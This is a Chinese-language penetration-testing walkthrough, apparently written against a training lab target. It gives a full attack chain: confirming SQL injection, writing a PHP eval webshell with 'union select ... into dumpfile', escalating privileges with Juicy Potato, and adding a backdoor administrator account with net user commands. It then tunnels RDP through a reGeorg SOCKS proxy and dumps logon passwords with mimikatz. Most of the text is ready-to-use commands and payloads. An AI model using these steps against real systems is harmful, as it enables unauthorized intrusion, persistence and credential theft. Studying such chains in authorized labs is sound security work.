通过SQL注入拿到Webshell
经典 and 1=1、and 1=2,判断存在SQL注入,并且报错也获得了绝对路径,利用into dumpfile(只能导出一行数据)或者into outfile(可以导出多行数据、不能用于导出二进制文件,会在末尾写入新行)来写马
如果报错没有绝对路径,那就需要目录扫描或者让传参变为数组(a[]=1)来得到路径
判断出来存在两个字段数、在URL栏输入 union select 1,‘<?php @eval($_REQUEST[8])?>’ into dumpfile ‘C:/phpStudy/WWW/66.php’
然后上菜刀,查看权限,发现是test权限,如果这里执行命令出错,可以尝试人为上传一个cmd或者换一个webshell管理工具
Windows提权
1、一个服务器上面可能存在多个站点(A网站与B网站权限不同)
2、看看能不能攻击其他的进程
3、依靠系统漏洞去提权
提权辅助页面:https://i.hacking8.com/tiquan/
systeminfo 查看系统信息,将补丁程序的名字复制然后在辅助提权页面搜索,就可以看到能用的exp了,找到sever 2008能用的payload就行了
这里我们上传一个烂土豆进行提权,烂土豆下载地址:https://github.com/ohpe/juicy-potato/releases,可以看到提权之后的权限已经变为了system
然后添加用户,输入命令666.exe -p “net user ac 123456Qq. /add”
输入 net localgroup administrators ac /add ,将ac账户添加到管理员权限
连接目标3389
我们通过命令 netstat -ano来查看目标有没有开启3389,然后尝试连接,发现这是一台2003的机器,而刚才我们渗透的那台是2008,这是因为一个IP可以有多台主机,他内网的3389开了,但是路由器可能并没有设置,所以外网连不到。这里
1、要么端口扫描,然后一个一个试,看哪个是3389对应的外网端口。
2、要么拿下路由器,自己加规则。
3、要么端口转发,这个需要目标有网,你自己有一台公网服务器。
4、目标没网,利用后端脚本搭建信号站
这里我们用reGeorg这个文件,上传里面的php文件,如果页面出现下模样,就是有用
然后在reGeorg的那个目录下运行cmd,利用reGeorgSocksProxy.py脚本来进行一个监听本地端口的操作,输入py reGeorgSocksProxy.py -l 127.0.0.1 -p 10086 -u http://c78exn-5qmtbw.aqlab.cn/666.php,然后打开Proxifier,设置端口代理,添加规则,监听mstsc.exe,然后再用我们之前创建的账户密码登录就能远程连接目标了
内网信息搜集
端口扫描(nmap、powershell)
arp扫描(arp -a)
ping 连接
可以上传一个猕猴桃来获取管理员密码,右键以管理员身份运行
输入privilege::debug 提升权限
sekurlsa::logonpasswords 抓取密码
log 日志会记录内容
可以看到日志里面记录的密码